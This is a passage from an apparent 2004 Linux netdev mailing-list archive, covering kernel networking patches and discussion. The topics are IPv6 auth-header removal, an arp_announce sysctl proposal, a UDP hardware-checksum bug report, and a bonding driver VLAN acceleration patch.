(opt->hdrlen+2)<<2); - h->nexthdr = *prev_hdr; - *prev_hdr = NEXTHDR_AUTH; - return &h->nexthdr; -} - - u8 *ipv6_build_nfrag_opts(struct sk_buff *skb, u8 *prev_hdr, struct ipv6_txoptions *opt, struct in6_addr *daddr, u32 jumbolen) { @@ -567,8 +556,6 @@ u8 *ipv6_build_frag_opts(struct sk_buff *skb, u8 *prev_hdr, struct ipv6_txoptions *opt) { - if (opt->auth) - prev_hdr = ipv6_build_authhdr(skb, prev_hdr, opt->auth); if (opt->dst1opt) prev_hdr = ipv6_build_exthdr(skb, prev_hdr, NEXTHDR_DEST, opt->dst1opt); return prev_hdr; @@ -608,15 +595,6 @@ *proto = type; } -static void ipv6_push_authhdr(struct sk_buff *skb, u8 *proto, struct ipv6_opt_hdr *opt) -{ - struct ipv6_opt_hdr *h = (struct ipv6_opt_hdr *)skb_push(skb, (opt->hdrlen+2)<<2); - - memcpy(h, opt, (opt->hdrlen+2)<<2); - h->nexthdr = *proto; - *proto = NEXTHDR_AUTH; -} - void ipv6_push_nfrag_opts(struct sk_buff *skb, struct ipv6_txoptions *opt, u8 *proto, struct in6_addr **daddr) @@ -633,8 +611,6 @@ { if (opt->dst1opt) ipv6_push_exthdr(skb, proto, NEXTHDR_DEST, opt->dst1opt); - if (opt->auth) - ipv6_push_authhdr(skb, proto, opt->auth); } struct ipv6_txoptions * @@ -652,8 +628,6 @@ *((char**)&opt2->dst0opt) += dif; if (opt2->dst1opt) *((char**)&opt2->dst1opt) += dif; - if (opt2->auth) - *((char**)&opt2->auth) += dif; if (opt2->srcrt) *((char**)&opt2->srcrt) += dif; } ===== net/ipv6/ipv6_sockglue.c 1.23 vs edited ===== --- 1.23/net/ipv6/ipv6_sockglue.c Wed Jan 14 09:36:24 2004 +++ edited/net/ipv6/ipv6_sockglue.c Sun Feb 8 13:14:15 2004 @@ -230,11 +230,6 @@ retv = 0; break; - case IPV6_AUTHHDR: - np->rxopt.bits.authhdr = valbool; - retv = 0; - break; - case IPV6_DSTOPTS: np->rxopt.bits.dstopts = valbool; retv = 0; @@ -621,10 +616,6 @@ case IPV6_HOPOPTS: val = np->rxopt.bits.hopopts; - break; - - case IPV6_AUTHHDR: - val = np->rxopt.bits.authhdr; break; case IPV6_DSTOPTS: -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From ja@ssi.bg Sun Feb 8 01:56:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 01:56:53 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i189uiKO020691 for ; Sun, 8 Feb 2004 01:56:47 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i189xZxC007301; Sun, 8 Feb 2004 11:59:35 +0200 Date: Sun, 8 Feb 2004 11:59:35 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: netdev@oss.sgi.com cc: linux-net@vger.kernel.org Subject: Restrict local IP announcements in ARP requests Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3104 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, I'm opening again the discussion about src IP selection in ARP requests. We know that there are tools and framework for ARP filtering and mangling. The question is whether we need a simple interface flag to restrict the local src IP address for cases where the target hosts require sender to be from same known logical subnet due to [wrong] policy or topology reasons. I'm proposing simple flag that controls the src selection in our ARP requests. I named it arp_announce - mode used to define different restriction levels for announcing the local source address from IP packets in ARP requests: 0 - the current behavior: use any local address if possible as it appears it is not the most safe mode in some cases 1 - restrict saddr to the target's subnet this behavior is useful in setups where the target hosts have [sometimes default] policy to drop incoming requests by checking the src IP. The result is that we can announce only addresses from same logical subnet as the target. 2 - always use the best source address for this target This is the most restrictive mode that expects answer from the target host. In this case we can announce only preferred/primary IP address. Useful for setups where we do not want to announce secondary IPs, for example, if they are shared from many hosts. Draft version can be found here: http://www.ssi.bg/~ja/#arp_announce and it is also appended here. Comments? Regards -- Julian Anastasov diff -ur v2.6.2/linux/Documentation/networking/ip-sysctl.txt linux/Documentation/networking/ip-sysctl.txt --- v2.6.2/linux/Documentation/networking/ip-sysctl.txt 2004-02-05 00:23:10.000000000 +0200 +++ linux/Documentation/networking/ip-sysctl.txt 2004-02-08 11:35:04.617310560 +0200 @@ -486,6 +486,21 @@ conf/{all,interface}/arp_filter is set to TRUE, it will be disabled otherwise +arp_announce - INTEGER + Define different restriction levels for announcing the local + source IP address from IP packets in ARP requests sent on + interface: + 0 - (default) Use any local address, configured on any interface + 1 - Try to avoid local addresses that are not in the target's + subnet for this interface + 2 - Always use the best source address for this target + + The max value from conf/{all,interface}/arp_announce is used. + + Increasing the restriction level gives more chance for + receiving answer from the resolved target while decreasing + the level announces more valid sender's information. + tag - INTEGER Allows you to write a number, which can be used as required. Default value is 0. diff -ur v2.6.2/linux/include/linux/inetdevice.h linux/include/linux/inetdevice.h --- v2.6.2/linux/include/linux/inetdevice.h 2003-08-23 19:42:33.000000000 +0300 +++ linux/include/linux/inetdevice.h 2004-02-07 17:57:38.000000000 +0200 @@ -18,6 +18,7 @@ int mc_forwarding; int tag; int arp_filter; + int arp_announce; int medium_id; int no_xfrm; int no_policy; @@ -70,6 +71,7 @@ (ipv4_devconf.accept_redirects || (in_dev)->cnf.accept_redirects))) #define IN_DEV_ARPFILTER(in_dev) (ipv4_devconf.arp_filter || (in_dev)->cnf.arp_filter) +#define IN_DEV_ARP_ANNOUNCE(in_dev) (max(ipv4_devconf.arp_announce, (in_dev)->cnf.arp_announce)) struct in_ifaddr { diff -ur v2.6.2/linux/include/linux/sysctl.h linux/include/linux/sysctl.h --- v2.6.2/linux/include/linux/sysctl.h 2004-02-05 00:23:17.000000000 +0200 +++ linux/include/linux/sysctl.h 2004-02-07 18:01:58.000000000 +0200 @@ -360,6 +360,7 @@ NET_IPV4_CONF_MEDIUM_ID=14, NET_IPV4_CONF_NOXFRM=15, NET_IPV4_CONF_NOPOLICY=16, + NET_IPV4_CONF_ARP_ANNOUNCE=17, }; /* /proc/sys/net/ipv4/netfilter */ diff -ur v2.6.2/linux/net/ipv4/arp.c linux/net/ipv4/arp.c --- v2.6.2/linux/net/ipv4/arp.c 2004-02-05 00:23:18.000000000 +0200 +++ linux/net/ipv4/arp.c 2004-02-08 11:37:24.551037400 +0200 @@ -321,15 +321,57 @@ static void arp_solicit(struct neighbour *neigh, struct sk_buff *skb) { - u32 saddr; + u32 saddr = 0; u8 *dst_ha = NULL; struct net_device *dev = neigh->dev; u32 target = *(u32*)neigh->primary_key; int probes = atomic_read(&neigh->probes); + struct rtable *rt; + struct in_device *in_dev = in_dev_get(dev); - if (skb && inet_addr_type(skb->nh.iph->saddr) == RTN_LOCAL) + if (!in_dev) + return; + + switch (IN_DEV_ARP_ANNOUNCE(in_dev)) { + default: + case 0: /* By default announce any local IP */ + if (skb && inet_addr_type(skb->nh.iph->saddr) == RTN_LOCAL) + saddr = skb->nh.iph->saddr; + break; + case 1: /* Restrict announcements of saddr in same subnet */ + if (!skb || !(rt = (struct rtable *) skb->dst) || rt->fl.iif) + break; saddr = skb->nh.iph->saddr; - else + /* rt_src is always a local address */ + if (saddr == rt->rt_src || inet_addr_type(saddr) == RTN_LOCAL) { + /* saddr should be known to target */ + if (inet_addr_onlink(in_dev, target, saddr)) + break; + } + saddr = 0; + break; + case 2: /* Avoid secondary IPs, get a primary/preferred one */ +#if 0 + { + struct flowi fl = { + .nl_u = { .ip4_u = { .daddr = target } }, + .oif = dev->ifindex }; + + in_dev_put(in_dev); + in_dev = NULL; + if (ip_route_output_key(&rt, &fl) < 0) + return; + saddr = rt->rt_src; + ip_rt_put(rt); + } +#endif + + break; + } + + if (in_dev) + in_dev_put(in_dev); + if (!saddr) saddr = inet_select_addr(dev, target, RT_SCOPE_LINK); if ((probes -= neigh->parms->ucast_probes) < 0) { diff -ur v2.6.2/linux/net/ipv4/devinet.c linux/net/ipv4/devinet.c --- v2.6.2/linux/net/ipv4/devinet.c 2004-02-05 00:23:18.000000000 +0200 +++ linux/net/ipv4/devinet.c 2004-02-07 18:03:04.000000000 +0200 @@ -1132,7 +1132,7 @@ static struct devinet_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table devinet_vars[17]; + ctl_table devinet_vars[18]; ctl_table devinet_dev[2]; ctl_table devinet_conf_dir[2]; ctl_table devinet_proto_dir[2]; @@ -1252,6 +1252,14 @@ .proc_handler = &proc_dointvec, }, { + .ctl_name = NET_IPV4_CONF_ARP_ANNOUNCE, + .procname = "arp_announce", + .data = &ipv4_devconf.arp_announce, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { .ctl_name = NET_IPV4_CONF_NOXFRM, .procname = "disable_xfrm", .data = &ipv4_devconf.no_xfrm, From yoshfuji@linux-ipv6.org Sun Feb 8 04:20:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 04:20:05 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18CJoKO029564 for ; Sun, 8 Feb 2004 04:19:51 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 981AF33CA5; Sun, 8 Feb 2004 20:39:30 +0900 (JST) Date: Sun, 08 Feb 2004 20:39:30 +0900 (JST) Message-Id: <20040208.203930.36073978.yoshfuji@linux-ipv6.org> To: davem@redhat.com, kuznet@ms2.inr.ac.ru Cc: netdev@oss.sgi.com Subject: [Q] LL_RESERVED_SPACE(dev) vs HH_DATA_ALIGN(dev->hard_header_len) From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3105 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. There're many places like: (dev->hard_header_len + 15) & ~15 or dev->hard_header_len + 15. I guess the second one trying to express maximum number of the first one and it seems that HH_DATA_ALIGN(dev->hard_header_len) LL_SPACE_RESERVED(dev) (defined in include/linux/netdevice.h) will do for us respectively. Question: How do you think about the following patch? Or, is it okay to simply use LL_RESERVED_SPACE(dev) in both places? Thanks in advance. ===== net/econet/af_econet.c 1.30 vs edited ===== --- 1.30/net/econet/af_econet.c Mon Jan 26 04:05:06 2004 +++ edited/net/econet/af_econet.c Sun Feb 8 17:18:51 2004 @@ -318,12 +318,12 @@ #ifdef CONFIG_ECONET_NATIVE dev_hold(dev); - skb = sock_alloc_send_skb(sk, len+dev->hard_header_len+15, + skb = sock_alloc_send_skb(sk, len + LL_RESERVED_SPACE(dev), msg->msg_flags & MSG_DONTWAIT, &err); if (skb==NULL) goto out_unlock; - skb_reserve(skb, (dev->hard_header_len+15)&~15); + skb_reserve(skb, HH_DATA_ALIGN(dev->hard_header_len)); skb->nh.raw = skb->data; eb = (struct ec_cb *)&skb->cb; -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From schwab@suse.de Sun Feb 8 05:11:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 05:11:29 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18DBHKO003454; Sun, 8 Feb 2004 05:11:17 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id D80F9179E2F; Sun, 8 Feb 2004 14:09:39 +0100 (CET) Received: by sykes.suse.de (Postfix, from userid 597) id D6DC814CA417D; Sun, 8 Feb 2004 14:09:36 +0100 (CET) To: Andi Kleen Cc: jonmason@us.ibm.com, cramerj@intel.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com Subject: Re: Bad UDP checksum with 82540EM References: <20040208074643.482ab4c7.ak@suse.de> From: Andreas Schwab X-Yow: This PIZZA symbolizes my COMPLETE EMOTIONAL RECOVERY!! Date: Sun, 08 Feb 2004 14:09:36 +0100 In-Reply-To: <20040208074643.482ab4c7.ak@suse.de> (Andi Kleen's message of "Sun, 8 Feb 2004 07:46:43 +0100") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 3106 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev Andi Kleen writes: > On Sat, 07 Feb 2004 23:42:21 +0100 > Andreas Schwab wrote: > >> Jon D Mason writes: >> >> > This probably isn't helpful, but it sounds like a hardware error. Is the >> > error occurring on multiple/all HP adapters, or only one? >> >> I've also seen it with a HP branded BCM5701 on IA64, but also with a >> Broadcom BCM5702 on AMD64 (both using the tg3 driver). It seems like >> broken UDP checksumming is rather common. :-( > > It could be still a software bug. When hardware checksumming is available > the UDP packets use a slightly different path through the stack. > > Could you perhaps test if the problem occurs in a 32bit box with the > same NIC ? Maybe it is some 64bit problem somewhere in software. Just tested with a "3Com 3C996B-T 1000Base-T" (BCM5701 based, with tg3 driver) on an Athlon. It shows the same bug, and disabling HW checksumming on tx fixes it. So it doesn't look like a 64bit issue. Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From shmulik.hen@intel.com Sun Feb 8 08:11:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 08:11:38 -0800 (PST) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18GBOKO008866 for ; Sun, 8 Feb 2004 08:11:25 -0800 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.5 2003/11/26 00:10:29 root Exp $) with ESMTP id i18GBGrr004100; Sun, 8 Feb 2004 16:11:16 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i18GC5tl000589; Sun, 8 Feb 2004 16:12:15 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020808111315955 ; Sun, 08 Feb 2004 08:11:14 -0800 From: Shmuel Hen Organization: Intel Corporation To: "Jeff Garzik" Subject: [PATCH 1/3][bonding][2.6] Add support for HW accel. slaves Date: Sun, 8 Feb 2004 18:11:10 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402081811.12359.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3109 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 31350 Lines: 1072 Jeff, Now that David Miller accepted the first half of this set into 2.6, I'm resending the last half to you for inclusion in netdev-2.6. Tested against latest netdev-2.6. Summary: Change the bond interface to publish full VLAN hardware acceleration offloading capabilities, and add capability in all xmit functions to take special care for VLAN HW accel. tagged skb's that are going out through a slave that is not offloading capable. Add a mechanism to collect and save the VLAN Id's that have been added on top of a bond interface, and propagate the register/add/kill operations to the slaves. Add blocking mechanism to prevent adding VLAN interfaces on top of a bond that contains VLAN challenged slaves and to prevent adding VLAN challenged slaves to a bond that already has VLAN interfaces on top of it. Add a section about VLAN to Documentation/networking/bonding.txt and also correct some minor spelling/grammer errors. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt Wed Jan 21 16:56:18 2004 +++ b/Documentation/networking/bonding.txt Wed Jan 21 16:56:19 2004 @@ -31,6 +31,7 @@ Verifying Bond Configuration Frequently Asked Questions High Availability Promiscuous Sniffing notes +8021q VLAN support Limitations Resources and Links @@ -140,10 +141,6 @@ probeall bond0 eth0 eth1 bonding Be careful not to reference bond0 itself at the end of the line, or modprobe will die in an endless recursive loop. -To have device characteristics (such as MTU size) propagate to slave devices, -set the bond characteristics before enslaving the device. The characteristics -are propagated during the enslave process. - If running SNMP agents, the bonding driver should be loaded before any network drivers participating in a bond. This requirement is due to the the interface index (ipAdEntIfIndex) being associated to the first interface found with a @@ -601,7 +598,7 @@ Frequently Asked Questions For ethernet cards not supporting MII status, the arp_interval and arp_ip_target parameters must be specified for bonding to work correctly. If packets have not been sent or received during the - specified arp_interval durration, an ARP request is sent to the + specified arp_interval duration, an ARP request is sent to the targets to generate send and receive traffic. If after this interval, either the successful send and/or receive count has not incremented, the next slave in the sequence will become the active @@ -669,16 +666,8 @@ Frequently Asked Questions that will be added. To restore your slaves' MAC addresses, you need to detach them - from the bond (`ifenslave -d bond0 eth0'), set them down - (`ifconfig eth0 down'), unload the drivers (`rmmod 3c59x', for - example) and reload them to get the MAC addresses from their - eeproms. If the driver is shared by several devices, you need - to turn them all down. Another solution is to look for the MAC - address at boot time (dmesg or tail /var/log/messages) and to - reset it by hand with ifconfig : - - # ifconfig eth0 down - # ifconfig eth0 hw ether 00:20:40:60:80:A0 + from the bond (`ifenslave -d bond0 eth0'). The bonding driver will then + restore the MAC addresses that the slaves had before they were enslaved. 9. Which transmit polices can be used? @@ -843,7 +832,7 @@ point of failure" solution. In this configuration, there is an ISL - Inter Switch Link (could be a trunk), several servers (host1, host2 ...) attached to both switches each, and one or -more ports to the outside world (port3...). One an only one slave on each host +more ports to the outside world (port3...). One and only one slave on each host is active at a time, while all links are still monitored (the system can detect a failure of active and backup links). @@ -933,6 +922,41 @@ capacity aggregating; but it works fine just ignore all the warnings it emits. +8021q VLAN support +================== + +It is possible to configure VLAN devices over a bond interface using the 8021q +driver. However, only packets coming from the 8021q driver and passing through +bonding will be tagged by default. Self generated packets, like bonding's +learning packets or ARP packets generated by either ALB mode or the ARP +monitor mechanism, are tagged internally by bonding itself. As a result, +bonding has to "learn" what VLAN IDs are configured on top of it, and it uses +those IDs to tag self generated packets. + +For simplicity reasons, and to support the use of adapters that can do VLAN +hardware acceleration offloding, the bonding interface declares itself as +fully hardware offloaing capable, it gets the add_vid/kill_vid notifications +to gather the necessary information, and it propagates those actions to the +slaves. +In case of mixed adapter types, hardware accelerated tagged packets that should +go through an adapter that is not offloading capable are "un-accelerated" by the +bonding driver so the VLAN tag sits in the regular location. + +VLAN interfaces *must* be added on top of a bonding interface only after +enslaving at least one slave. This is because until the first slave is added the +bonding interface has a HW address of 00:00:00:00:00:00, which will be copied by +the VLAN interface when it is created. + +Notice that a problem would occur if all slaves are released from a bond that +still has VLAN interfaces on top of it. When later coming to add new slaves, the +bonding interface would get a HW address from the first slave, which might not +match that of the VLAN interfaces. It is recommended that either all VLANs are +removed and then re-added, or to manually set the bonding interface's HW +address so it matches the VLAN's. (Note: changing a VLAN interface's HW address +would set the underlying device -- i.e. the bonding interface -- to promiscouos +mode, which might not be what you want). + + Limitations =========== The main limitations are : diff -Nuarp a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c --- a/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:56:19 2004 @@ -2362,6 +2362,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk int agg_id; int i; struct ad_info ad_info; + int res = 1; /* make sure that the slaves list will * not change during tx @@ -2369,12 +2370,12 @@ int bond_3ad_xmit_xor(struct sk_buff *sk read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond_3ad_get_active_agg_info(bond, &ad_info)) { printk(KERN_DEBUG "ERROR: bond_3ad_get_active_agg_info failed\n"); - goto free_out; + goto out; } slaves_in_agg = ad_info.ports; @@ -2383,7 +2384,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slaves_in_agg == 0) { /*the aggregator is empty*/ printk(KERN_DEBUG "ERROR: active aggregator is empty\n"); - goto free_out; + goto out; } slave_agg_no = (data->h_dest[5]^bond->dev->dev_addr[5]) % slaves_in_agg; @@ -2401,7 +2402,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slave_agg_no >= 0) { printk(KERN_ERR DRV_NAME ": Error: Couldn't find a slave to tx on for aggregator ID %d\n", agg_id); - goto free_out; + goto out; } start_at = slave; @@ -2414,24 +2415,19 @@ int bond_3ad_xmit_xor(struct sk_buff *sk slave_agg_id = agg->aggregator_identifier; } - if (SLAVE_IS_OK(slave) && - agg && (slave_agg_id == agg_id)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + if (SLAVE_IS_OK(slave) && agg && (slave_agg_id == agg_id)) { + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } int bond_3ad_lacpdu_recv(struct sk_buff *skb, struct net_device *dev, struct packet_type* ptype) diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:19 2004 @@ -1193,6 +1193,7 @@ int bond_alb_xmit(struct sk_buff *skb, s int do_tx_balance = 1; u32 hash_index = 0; u8 *hash_start = NULL; + int res = 1; /* make sure that the curr_active_slave and the slaves list do * not change during tx @@ -1201,7 +1202,7 @@ int bond_alb_xmit(struct sk_buff *skb, s read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } switch (ntohs(skb->protocol)) { @@ -1266,29 +1267,27 @@ int bond_alb_xmit(struct sk_buff *skb, s } if (tx_slave && SLAVE_IS_OK(tx_slave)) { - skb->dev = tx_slave->dev; if (tx_slave != bond->curr_active_slave) { memcpy(eth_data->h_source, tx_slave->dev->dev_addr, ETH_ALEN); } - dev_queue_xmit(skb); + + res = bond_dev_queue_xmit(bond, skb, tx_slave->dev); } else { - /* no suitable interface, frame not sent */ if (tx_slave) { tlb_clear_slave(bond, tx_slave, 0); } - goto free_out; } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - dev_kfree_skb(skb); - goto out; } void bond_alb_monitor(struct bonding *bond) diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:19 2004 @@ -502,6 +502,7 @@ #include #include #include +#include #include #include "bonding.h" #include "bond_3ad.h" @@ -620,6 +621,330 @@ static const char *bond_mode_name(int mo } } +/*---------------------------------- VLAN -----------------------------------*/ + +/** + * bond_add_vlan - add a new vlan id on bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to add + * + * Returns -ENOMEM if allocation failed. + */ +static int bond_add_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan; + + dprintk("bond: %s, vlan id %d\n", + (bond ? bond->dev->name: "None"), vlan_id); + + vlan = kmalloc(sizeof(struct vlan_entry), GFP_KERNEL); + if (!vlan) { + return -ENOMEM; + } + + INIT_LIST_HEAD(&vlan->vlan_list); + vlan->vlan_id = vlan_id; + + write_lock_bh(&bond->lock); + + list_add_tail(&vlan->vlan_list, &bond->vlan_list); + + write_unlock_bh(&bond->lock); + + dprintk("added VLAN ID %d on bond %s\n", vlan_id, bond->dev->name); + + return 0; +} + +/** + * bond_del_vlan - delete a vlan id from bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to delete + * + * returns -ENODEV if @vlan_id was not found in @bond. + */ +static int bond_del_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan, *next; + int res = -ENODEV; + + dprintk("bond: %s, vlan id %d\n", bond->dev->name, vlan_id); + + write_lock_bh(&bond->lock); + + list_for_each_entry_safe(vlan, next, &bond->vlan_list, vlan_list) { + if (vlan->vlan_id == vlan_id) { + list_del(&vlan->vlan_list); + + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, + bond->dev->name); + + kfree(vlan); + + if (list_empty(&bond->vlan_list) && + (bond->slave_cnt == 0)) { + /* Last VLAN removed and no slaves, so + * restore block on adding VLANs. This will + * be removed once new slaves that are not + * VLAN challenged will be added. + */ + bond->dev->features |= NETIF_F_VLAN_CHALLENGED; + } + + res = 0; + goto out; + } + } + + dprintk("couldn't find VLAN ID %d in bond %s\n", vlan_id, + bond->dev->name); + +out: + write_unlock_bh(&bond->lock); + return res; +} + +/** + * bond_has_challenged_slaves + * @bond: the bond we're working on + * + * Searches the slave list. Returns 1 if a vlan challenged slave + * was found, 0 otherwise. + * + * Assumes bond->lock is held. + */ +static int bond_has_challenged_slaves(struct bonding *bond) +{ + struct slave *slave; + int i; + + bond_for_each_slave(bond, slave, i) { + if (slave->dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("found VLAN challenged slave - %s\n", + slave->dev->name); + return 1; + } + } + + dprintk("no VLAN challenged slaves found\n"); + return 0; +} + +/** + * bond_dev_queue_xmit - Prepare skb for xmit. + * + * @bond: bond device that got this skb for tx. + * @skb: hw accel VLAN tagged skb to transmit + * @slave_dev: slave that is supposed to xmit this skbuff + * + * When the bond gets an skb to tarnsmit that is + * already hardware accelerated VLAN tagged, and it + * needs to relay this skb to a slave that is not + * hw accel capable, the skb needs to be "unaccelerated", + * i.e. strip the hwaccel tag and re-insert it as part + * of the payload. + * + * Assumption - once a VLAN device is created over the bond device, all + * packets are going to be hardware accelerated VLAN tagged since the IP + * binding is done over the VLAN device + */ +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev) +{ + unsigned short vlan_id; + int res; + + if (!list_empty(&bond->vlan_list) && + !(slave_dev->features & NETIF_F_HW_VLAN_TX)) { + res = vlan_get_tag(skb, &vlan_id); + if (res) { + return -EINVAL; + } + + skb->dev = slave_dev; + skb = vlan_put_tag(skb, vlan_id); + if (!skb) { + /* vlan_put_tag() frees the skb in case of error, + * so return success here so the calling functions + * won't attempt to free is again. + */ + return 0; + } + } else { + skb->dev = slave_dev; + } + + skb->priority = 1; + dev_queue_xmit(skb); + + return 0; +} + +/* + * In the following 3 functions, bond_vlan_rx_register(), bond_vlan_rx_add_vid + * and bond_vlan_rx_kill_vid, We don't protect the slave list iteration with a + * lock because: + * a. This operation is performed in IOCTL context, + * b. The operation is protected by the RTNL semaphore in the 8021q code, + * c. Holding a lock with BH disabled while directly calling a base driver + * entry point is generally a BAD idea. + * + * The design of synchronization/protection for this operation in the 8021q + * module is good for one or more VLAN devices over a single physical device + * and cannot be extended for a teaming solution like bonding, so there is a + * potential race condition here where a net device from the vlan group might + * be referenced (either by a base driver or the 8021q code) while it is being + * removed from the system. However, it turns out we're not making matters + * worse, and if it works for regular VLAN usage it will work here too. +*/ + +/** + * bond_vlan_rx_register - Propagates registration to slaves + * @bond_dev: bonding net device that got called + * @grp: vlan group being registered + */ +static void bond_vlan_rx_register(struct net_device *bond_dev, struct vlan_group *grp) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i; + + bond->vlgrp = grp; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, grp); + } + } +} + +/** + * bond_vlan_rx_add_vid - Propagates adding an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan 